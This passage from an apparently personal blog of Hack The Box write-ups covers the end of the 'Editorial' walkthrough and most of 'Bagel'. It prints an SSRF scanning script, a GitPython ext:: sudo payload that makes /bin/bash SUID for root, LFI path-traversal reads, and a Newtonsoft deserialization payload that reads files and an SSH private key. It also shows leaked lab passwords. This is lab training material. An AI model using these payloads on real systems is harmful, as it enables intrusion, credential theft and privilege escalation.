\u0026#34;endpoint\u0026#34;: \u0026#34;/api/latest/metadata/messages/authors\u0026#34;, \u0026#34;methods\u0026#34;: \u0026#34;GET\u0026#34; } }, { \u0026#34;platform_use\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Retrieve examples of how to use the platform.\u0026#34;, \u0026#34;endpoint\u0026#34;: \u0026#34;/api/latest/metadata/messages/how_to_use_platform\u0026#34;, \u0026#34;methods\u0026#34;: \u0026#34;GET\u0026#34; } } ], \u0026#34;version\u0026#34;: [ { \u0026#34;changelog\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Retrieve a list of all the versions and updates of the api.\u0026#34;, \u0026#34;endpoint\u0026#34;: \u0026#34;/api/latest/metadata/changelog\u0026#34;, \u0026#34;methods\u0026#34;: \u0026#34;GET\u0026#34; } }, { \u0026#34;latest\u0026#34;: { \u0026#34;description\u0026#34;: \u0026#34;Retrieve the last version of api.\u0026#34;, \u0026#34;endpoint\u0026#34;: \u0026#34;/api/latest/metadata\u0026#34;, \u0026#34;methods\u0026#34;: \u0026#34;GET\u0026#34; } } ] } So again for testing these, I modified the python script and gave these endpoints as payload.\nimport requests from concurrent.futures import ThreadPoolExecutor def send_post_request(url): headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;multipart/form-data; boundary=----WebKitFormBoundaryvIPoEJ6n4oiC1JWi\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;*/*\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://editorial.htb\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://editorial.htb/upload\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-GB,en;q=0.9\u0026#34; } data = ( \u0026#34;------WebKitFormBoundaryvIPoEJ6n4oiC1JWi\\r\\n\u0026#34; \u0026#34;Content-Disposition: form-data; name=\\\u0026#34;bookurl\\\u0026#34;\\r\\n\\r\\n\u0026#34; f\u0026#34;http://127.0.0.1:5000{url}\\r\\n\u0026#34; \u0026#34;------WebKitFormBoundaryvIPoEJ6n4oiC1JWi\\r\\n\u0026#34; \u0026#34;Content-Disposition: form-data; name=\\\u0026#34;bookfile\\\u0026#34;; filename=\\\u0026#34;\\\u0026#34;\\r\\n\u0026#34; \u0026#34;Content-Type: application/octet-stream\\r\\n\\r\\n\\r\\n\u0026#34; \u0026#34;------WebKitFormBoundaryvIPoEJ6n4oiC1JWi--\u0026#34; ) response = requests.post(\u0026#34;http://editorial.htb/upload-cover\u0026#34;, headers=headers, data=data) return url, response.text.strip() def send_get_request(path): headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://editorial.htb/upload\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;en-GB,en;q=0.9\u0026#34; } response = requests.get(f\u0026#34;http://editorial.htb/{path}\u0026#34;, headers=headers) return response.text def process_url(url): initial_path, post_response = send_post_request(url) if post_response.endswith(\u0026#39;.jpeg\u0026#39;): return initial_path, post_response, None get_response = send_get_request(post_response) return initial_path, post_response, get_response def main(): with open(\u0026#39;endpoints.txt\u0026#39;, \u0026#39;r\u0026#39;) as file: urls = [line.strip() for line in file] with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(process_url, url) for url in urls] for future in futures: try: initial_path, post_response, get_response = future.result() print(f\u0026#34;Initial Path: {initial_path}\u0026#34;) print(f\u0026#34;Post Response: {post_response}\u0026#34;) if get_response is not None: print(f\u0026#34;Get Response: {get_response}\u0026#34;) else: print(\u0026#34;No GET request made (post response ends with .jpeg)\u0026#34;) print(\u0026#34;\\n\u0026#34;) except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Out of all the responses, one endpoint gave me some creds,\n{ \u0026#34;template_mail_message\u0026#34;: \u0026#34;Welcome to the team! We are thrilled to have you on board and can\u0026#39;t wait to see the incredible content you\u0026#39;ll bring to the table.\\n\\nYour login credentials for our internal forum and authors site are:\\nUsername: dev\\nPassword: $PASS$\\nPlease be sure to change your password as soon as possible for security purposes.\\n\\nDon\u0026#39;t hesitate to reach out if you have any questions or ideas - we\u0026#39;re always here to support you.\\n\\nBest regards, Editorial Tiempo Arriba Team.\u0026#34; } Now there was no login page on the website,(did not find any after directory busting!!!). So only path is ssh now. I tried these creds, and yess got the shell as dev user!!!\nNow I checked for sudo rights, dead end, then crontab, capabilities, suid binaries, all dead end!!!😔 Then I looked up all available users. Found out there was another prod user. Now I need some way to login as prod user. Looking my current folder, I saw an apps directory. It has .git folder in it, so it\u0026rsquo;s time to enumerate git. I copied the git folder to my pc using scp.\nscp -r dev@editorial.htb:/home/dev/apps/.git . I saw if there are any commits are made, there were some, So I looked at the individual commit one by one, to discover, yes you guessed it right, prod user\u0026rsquo;s creds🎉.\n\u0026gt; git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae Author: dev-carlos.valderrama \u0026lt;dev-carlos.valderrama@tiempoarriba.htb\u0026gt; Date: Sun Apr 30 20:55:08 2023 -0500 change(api): downgrading prod to dev * To use development environment. diff --git a/app_api/app.py b/app_api/app.py index 61b786f..3373b14 100644 --- a/app_api/app.py +++ b/app_api/app.py @@ -64,7 +64,7 @@ def index(): @app.route(api_route + \u0026#39;/authors/message\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) def api_mail_new_authors(): return jsonify({ - \u0026#39;template_mail_message\u0026#39;: \u0026#34;Welcome to the team! We are thrilled to have you on board and can\u0026#39;t wait to see the incredible content you\u0026#39;ll bring to the table.\\n\\nYour login credentials for our internal forum and authors site are:\\nUsername: prod\\nPassword: $PASS$\\nPlease be sure to change your password as soon as possible for security purposes.\\n\\nDon\u0026#39;t hesitate to reach out if you have any questions or ideas - we\u0026#39;re always here to support you.\\n\\nBest regards, \u0026#34; + api_editorial_name + \u0026#34; Team.\u0026#34; + \u0026#39;template_mail_message\u0026#39;: \u0026#34;Welcome to the team! We are thrilled to have you on board and can\u0026#39;t wait to see the incredible content you\u0026#39;ll bring to the table.\\n\\nYour login credentials for our internal forum and authors site are:\\nUsername: dev\\nPassword: $PASS$\\nPlease be sure to change your password as soon as possible for security purposes.\\n\\nDon\u0026#39;t hesitate to reach out if you have any questions or ideas - we\u0026#39;re always here to support you.\\n\\nBest regards, \u0026#34; + api_editorial_name + \u0026#34; Team.\u0026#34; }) # TODO: replace dev credentials when checks pass # ------------------------------- I changed to user prod using su,\ndev@editorial:~$ su prod Privilege Escalation Now as prod user, I checked for sudo rights and found I had one on a python file.\nprod@editorial:/home/dev$ sudo -l [sudo] password for prod: Matching Defaults entries for prod on editorial: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User prod may run the following commands on editorial: (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py * The file contains a script to clone a remote repository to local device. It uses git from the gitPython python library.\n#!/usr/bin/python3 import os import sys from git import Repo os.chdir(\u0026#39;/opt/internal_apps/clone_changes\u0026#39;) url_to_clone = sys.argv[1] r = Repo.init(\u0026#39;\u0026#39;, bare=True) r.clone_from(url_to_clone, \u0026#39;new_changes\u0026#39;, multi_options=[\u0026#34;-c protocol.ext.allow=always\u0026#34;]) I looked if I had any write permissions on the libraries, the script, sadly no😔. So only option was to look on google for some vulnerability related to the libraries. Searching with the sentence git python library clone from privilege exploit gives at the top snyk website with the title RCE in gitPython 🥳. You can see in the website, the example given is same as in the script we are allowed to execute. The vulnerability here is that the multi_options is configured to to allow urls with the ext protocol which is very dangerous as it can be used to execute commands. Testing the payload from the snyk website on this script does confirm the RCE because the command got executed and pwned file as root user was created in /tmp folder.\nsudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \u0026#39;ext::sh -c touch% /tmp/pwned\u0026#39; Now in our case, since we are executing it as root using sudo, any commands executed will also be with the root permissions, so we can escalate our privileges. As we have RCE(not exactly remote here), I give out the most simple thing to do in this type of case, 😊\nsudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \u0026#39;ext::sh -c chmod% +s% /bin/bash\u0026#39; I just added the suid bit to the /bin/bash binary. What this does is, no matter who runs this, it will always run as the user who added the suid bit. Now since, the commands were executing as root user, so the suid bit is also set as the root user. So now running this binary, I got the root shell🎉\nMitigation Techniques Input Validation and Sanitization: Implement strict input validation to ensure that only valid image URLs are accepted. Use allowlists to permit only certain trusted domains for URL inputs. Reject any URLs that attempt to access internal resources. Server-Side Request Forgery (SSRF) Prevention: Employ network-level protections, such as firewall rules, to prevent internal services from being accessed via SSRF. Use tools or libraries that can detect and block SSRF attempts. Credential Management: Ensure that credentials are stored securely and are not exposed in any accessible location, such as commit history in .git folders. Regularly rotate credentials and enforce strong password policies. Use environment variables or secrets management services to handle sensitive information. Secure SSH Configuration: Limit SSH access to necessary users and use key-based authentication instead of passwords. Regularly audit and update SSH configurations to follow best practices. Sudo Configuration: Minimize the number of users with sudo privileges and enforce the principle of least privilege. Restrict the execution of potentially dangerous scripts and commands through sudo. Monitor and log sudo usage to detect any unusual activities. Secure Code Practices: Ensure that scripts and applications do not accept untrusted input without proper validation. Review and sanitize input arguments passed to any subprocess or external command execution. Regularly update and patch all libraries and dependencies to mitigate known vulnerabilities. Conclusion The penetration test uncovered multiple security vulnerabilities that could be exploited to gain unauthorized access and escalate privileges within the system. Key findings included an SSRF vulnerability that led to internal network exposure, improper handling of credentials, and insecure sudo configurations. This was really a fun box. showed common usual exploits that are out in the open.\nReferences https://caido.io/ https://gchq.github.io/CyberChef/ https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858 ","date":"2024-07-01T10:43:04+05:30","permalink":"https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/","title":"Editorial"},{"content":"Introduction Machine Name: Bagel IP Address: 10.10.11.201 Difficulty: Medium Information Gathering I started scan with rustscan, found port 22, 5000 and 8000 ports open.\nPORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.8 (protocol 2.0) | ssh-hostkey: | 256 6e:4e:13:41:f2:fe:d9:e0:f7:27:5b:ed:ed:cc:68:c2 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwHzrBpcTXWKbxBWhc6yfWMiWfWjPmUJv2QqB/c2tJDuGt/97OvgzC+Zs31X/IW2WM6P0rtrKemiz3C5mUE67k= | 256 80:a7:cd:10:e7:2f:db:95:8b:86:9b:1b:20:65:2a:98 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINnQ9frzL5hKjBf6oUklfUhQCMFuM0EtdYJOIxUiDuFl 5000/tcp open upnp? syn-ack | fingerprint-strings: | GetRequest: | HTTP/1.1 400 Bad Request | Server: Microsoft-NetCore/2.0 | Date: Sun, 30 Jun 2024 10:16:17 GMT | Connection: close | HTTPOptions: | HTTP/1.1 400 Bad Request | Server: Microsoft-NetCore/2.0 | Date: Sun, 30 Jun 2024 10:16:34 GMT | Connection: close | Help: | HTTP/1.1 400 Bad Request | Content-Type: text/html | Server: Microsoft-NetCore/2.0 | Date: Sun, 30 Jun 2024 10:16:44 GMT | Content-Length: 52 | Connection: close | Keep-Alive: true | \u0026lt;h1\u0026gt;Bad Request (Invalid request line (parts).)\u0026lt;/h1\u0026gt; | RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/html | Server: Microsoft-NetCore/2.0 | Date: Sun, 30 Jun 2024 10:16:17 GMT | Content-Length: 54 | Connection: close | Keep-Alive: true | \u0026lt;h1\u0026gt;Bad Request (Invalid request line (version).)\u0026lt;/h1\u0026gt; | SSLSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/html | Server: Microsoft-NetCore/2.0 | Date: Sun, 30 Jun 2024 10:16:45 GMT | Content-Length: 52 | Connection: close | Keep-Alive: true | \u0026lt;h1\u0026gt;Bad Request (Invalid request line (parts).)\u0026lt;/h1\u0026gt; | TLSSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/html | Server: Microsoft-NetCore/2.0 | Date: Sun, 30 Jun 2024 10:16:46 GMT | Content-Length: 52 | Connection: close | Keep-Alive: true |_ \u0026lt;h1\u0026gt;Bad Request (Invalid request line (parts).)\u0026lt;/h1\u0026gt; 8000/tcp open http syn-ack Werkzeug httpd 2.2.2 (Python 3.10.9) | http-methods: |_ Supported Methods: OPTIONS GET HEAD |_http-server-header: Werkzeug/2.2.2 Python/3.10.9 |_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html Port 8000 Nmap scan shows this port running a werkzeug server. To get the domain name, i did a curl request, and added it to /etc/hosts\n❯ curl -v http://10.10.11.201:8000/ * Trying 10.10.11.201:8000... * Connected to 10.10.11.201 (10.10.11.201) port 8000 \u0026gt; GET / HTTP/1.1 \u0026gt; Host: 10.10.11.201:8000 \u0026gt; User-Agent: curl/8.6.0 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 302 FOUND \u0026lt; Server: Werkzeug/2.2.2 Python/3.10.9 \u0026lt; Date: Sun, 30 Jun 2024 15:14:46 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 263 \u0026lt; Location: http://bagel.htb:8000/?page=index.html \u0026lt; Connection: close \u0026gt; echo \u0026#39;10.10.11.201 bagel.htb\u0026#39; | sudo tee -a /etc/hosts Now opening on browser, it redirects to http://bagel.htb:8000/?page=index.html. Now as soon as i see the page parameter, I immediately try for LFI(Local File Inclusion) to read /etc/passwd file. I got it by using page=../../../../etc/passwd.\nLooking at it, we see two users, phil and developer. Now time for extracting information. Anytime with an LFI, we can either\ntry to get RCE via methods like log injection try to read user\u0026rsquo;s id_rsa file, or try to read process env, process related commands executed. For this box, the first two options were dead end. Now for the third, first I read /proc/self/environ file. ===\u003e The /proc/self/environ file in a Unix-like operating system contains the environment variables for the current process. - ChatGPT LANG=en_US.UTF-8\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin\u0000HOME=/home/developer\u0000LOGNAME=developer\u0000USER=developer\u0000SHELL=/bin/bash\u0000INVOCATION_ID=eb44fe42161641c2b1239494b788bb59\u0000JOURNAL_STREAM=8:25511\u0000SYSTEMD_EXEC_PID=894\u0000 This shows our current user is developer. Similarly, /proc/self/cmdline, will hold the current process commands run. This file had the content = python3/home/developer/app/app.py. So reading this file now gave me the app\u0026rsquo;s starting code,\nfrom flask import Flask, request, send_file, redirect, Response import os.path import websocket,json app = Flask(__name__) @app.route(\u0026#39;/\u0026#39;) def index(): if \u0026#39;page\u0026#39; in request.args: page = \u0026#39;static/\u0026#39;+request.args.get(\u0026#39;page\u0026#39;) if os.path.isfile(page): resp=send_file(page) resp.direct_passthrough = False if os.path.getsize(page) == 0: resp.headers[\u0026#34;Content-Length\u0026#34;]=str(len(resp.get_data())) return resp else: return \u0026#34;File not found\u0026#34; else: return redirect(\u0026#39;http://bagel.htb:8000/?page=index.html\u0026#39;, code=302) @app.route(\u0026#39;/orders\u0026#39;) def order(): # don\u0026#39;t forget to run the order app first with \u0026#34;dotnet \u0026lt;path to .dll\u0026gt;\u0026#34; command. Use your ssh key to access the machine. try: ws = websocket.WebSocket() ws.connect(\u0026#34;ws://127.0.0.1:5000/\u0026#34;) # connect to order app order = {\u0026#34;ReadOrder\u0026#34;:\u0026#34;orders.txt\u0026#34;} data = str(json.dumps(order)) ws.send(data) result = ws.recv() return(json.loads(result)[\u0026#39;ReadOrder\u0026#39;]) except: return(\u0026#34;Unable to connect\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=8000) Looking at the code, I got to know that a websocket server is running in port 5000 that is responsible for the managing orders. It is using a json payload to i guess read orders.txt file to fetch the orders placed. Going to the bagel.htb:5000/orders confirms this. Also there are two interesting comments here, ===\u003e don't forget to run the order app first with \"dotnet '\u0026lt;path to .dll\u0026gt;' command. Use your ssh key to access the machine. From first line, it is clear that a dll file is running as I am able to access the orders. This meant, I will be able to exfil info of dll from /proc/{proc_no}/cmdline to know the commands run. ===\u003e The file /proc/{proc_no}/cmdline in a Unix-like operating system (such as Linux) contains the command-line arguments passed to the process with the process ID {proc_no} when it was started. - ChatGPT Second line says to use ssh key. So hinting at us to read id_rsa file of a user. Now I dont know the process number of a dll file. So i will brute force the proc_no param from 1 to 1000.\nNow sorting all the responses by size, I found\nI used this path in page parameter on port 8000 to downlaod the file. To debug this dll file, there are many options, dnSpy, dotPeek, Rider, Ghidra etc. I am using Rider. Looking at the Bagel.cs file, the function MessageRecieved is deserialising the recieved request json payload from the client.\nprivate static void MessageReceived(object sender, MessageReceivedEventArgs args) { string json = \u0026#34;\u0026#34;; ArraySegment\u0026lt;byte\u0026gt; data; int num; if (ArraySegment\u0026lt;byte\u0026gt;.op_Inequality(args.Data, ArraySegment\u0026lt;byte\u0026gt;.op_Implicit((byte[]) null))) { data = args.Data; num = data.Count \u0026gt; 0 ? 1 : 0; } else num = 0; if (num != 0) { Encoding utF8 = Encoding.UTF8; data = args.Data; byte[] array = data.Array; data = args.Data; int count = data.Count; json = utF8.GetString(array, 0, count); } Handler handler = new Handler(); object obj1 = handler.Deserialize(json); object obj2 = handler.Serialize(obj1); Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), new CancellationToken()); } Looking up the the Deserialize function(cmd/ctrl+click), it is using a function from Newtonsoft library to deserialize json and return object. It has a configuration TypeNameHandling=4 which is ===\u003e TypeNameHandling Enum Auto (4): Include the .NET type name when the type of the object being serialized is not the same as its declared type. This is useful when dealing with polymorphic types, where the runtime type of the object is different from the compile-time type. It ensures that type names are included only when the runtime type of the object being serialized is different from its declared type. This helps handle scenarios involving polymorphism without unnecessarily cluttering the JSON with type information for every object. --- ChatGPT This is in short, we can give an object to be deserialized by setting a type parameter in the data. Now looking at the Orders.cs file there are three functions available, RemoveOrder, WriteOrder and ReadOrder. The RemoveOrder is an object here. This is a potential vector as objects can be used to call other objects. ReadOrder function is calling ReadFile function from the File.cs file. It is reading a file orders.txt from /opt/bagel/orders/ directory. Now I can try reading data from this function by exploiting the Deseriazation of arbitrary json data. Looking at TypeNameHandling in Newtonsoft docs,\nStockholder stockholder = new Stockholder { FullName = \u0026#34;Steve Stockholder\u0026#34;, Businesses = new List\u0026lt;Business\u0026gt; { new Hotel { Name = \u0026#34;Hudson Hotel\u0026#34;, Stars = 4 } } }; string jsonTypeNameAll = JsonConvert.SerializeObject(stockholder, Formatting.Indented, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); Console.WriteLine(jsonTypeNameAll); // { // \u0026#34;$type\u0026#34;: \u0026#34;Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests\u0026#34;, // \u0026#34;FullName\u0026#34;: \u0026#34;Steve Stockholder\u0026#34;, // \u0026#34;Businesses\u0026#34;: { // \u0026#34;$type\u0026#34;: \u0026#34;System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib\u0026#34;, // \u0026#34;$values\u0026#34;: [ // { // \u0026#34;$type\u0026#34;: \u0026#34;Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests\u0026#34;, // \u0026#34;Stars\u0026#34;: 4, // \u0026#34;Name\u0026#34;: \u0026#34;Hudson Hotel\u0026#34; // } // ] // } // } The commented section is the serialized output of the stockholder object. The $type holds two info, first one is the namespace, second is the assembly name(project_name).(ChatGPT explains it very clearly). Now for this case, namespace is bagel_server and assembly name is bagel, then rest of the params. Now I can create a payload for RemoveOrder which calls the ReadFile function.\n❯ echo \u0026#39;{\u0026#34;RemoveOrder\u0026#34;: {\u0026#34;$type\u0026#34;: \u0026#34;bagel_server.File, bagel\u0026#34;, \u0026#34;ReadFile\u0026#34;: \u0026#34;../../../etc/passwd\u0026#34;}}\u0026#39; | jq . { \u0026#34;RemoveOrder\u0026#34;: { \u0026#34;$type\u0026#34;: \u0026#34;bagel_server.File, bagel\u0026#34;, \u0026#34;ReadFile\u0026#34;: \u0026#34;../../../etc/passwd\u0026#34; } } First I am calling the RemoveOrder and passing it the rest of the data. The namespace is bagel_server.File bcoz the ReadFile is in that file. The assembly is bagel as it is the project root name. I am calling then the ReadFile function and passing the file location as a param. Looking further, there is also a DB.cs file, which has some creds,\npublic void DB_connection() { SqlConnection sqlConnection = new SqlConnection(\u0026#34;Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K\u0026#34;); } Port 5000 Nmap enumeration tried sending HTTP requests to it and got the server results. The header \u0026ldquo;Server: Microsoft-NetCore/2.0\u0026rdquo; reveals a .NET service running in this port. From earlier enumeration, this is a websocket server. So I will send the payload to this port.\nTo talk with a websocket server, I am using wscat tool.\n❯ wscat --connect ws://bagel.htb:5000/order Connected (press CTRL+C to quit) \u0026gt; {\u0026#34;RemoveOrder\u0026#34;: {\u0026#34;$type\u0026#34;: \u0026#34;bagel_server.File, bagel\u0026#34;, \u0026#34;ReadFile\u0026#34;: \u0026#34;../../../etc/passwd\u0026#34;}} \u0026lt; { \u0026#34;UserId\u0026#34;: 0, \u0026#34;Session\u0026#34;: \u0026#34;Unauthorized\u0026#34;, \u0026#34;Time\u0026#34;: \u0026#34;4:52:17\u0026#34;, \u0026#34;RemoveOrder\u0026#34;: { \u0026#34;$type\u0026#34;: \u0026#34;bagel_server.File, bagel\u0026#34;, \u0026#34;ReadFile\u0026#34;: \u0026#34;root:x:0:0:root:/root:/bin/bash\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nadm:x:3:4:adm:/var/adm:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\\noperator:x:11:0:operator:/root:/sbin/nologin\\ngames:x:12:100:games:/usr/games:/sbin/nologin\\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\\ndbus:x:81:81:System message bus:/:/sbin/nologin\\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\\nabrt:x:173:173::/etc/abrt:/sbin/nologin\\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\\ntcpdump:x:72:72::/:/sbin/nologin\\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\\ndeveloper:x:1000:1000::/home/developer:/bin/bash\\nphil:x:1001:1001::/home/phil:/bin/bash\\n_laurel:x:987:987::/var/log/laurel:/bin/false\u0026#34;, \u0026#34;WriteFile\u0026#34;: null }, \u0026#34;WriteOrder\u0026#34;: null, \u0026#34;ReadOrder\u0026#34;: null } I could read the passwd file. Now remembering the comment on using ssh key to login, I looked for id_rsa file of the two users. I got the key for phil user and formatted it by using CyberChef.\n\u0026gt; {\u0026#34;RemoveOrder\u0026#34;: {\u0026#34;$type\u0026#34;: \u0026#34;bagel_server.File, bagel\u0026#34;, \u0026#34;ReadFile\u0026#34;: \u0026#34;../../../home/phil/.ssh/id_rsa\u0026#34;}} \u0026lt; { \u0026#34;UserId\u0026#34;: 0, \u0026#34;Session\u0026#34;: \u0026#34;Unauthorized\u0026#34;, \u0026#34;Time\u0026#34;: \u0026#34;4:53:11\u0026#34;, \u0026#34;RemoveOrder\u0026#34;: { \u0026#34;$type\u0026#34;: \u0026#34;bagel_server.File, bagel\u0026#34;, \u0026#34;ReadFile\u0026#34;: \u0026#34;-----BEGIN OPENSSH PRIVATE KEY-----\\n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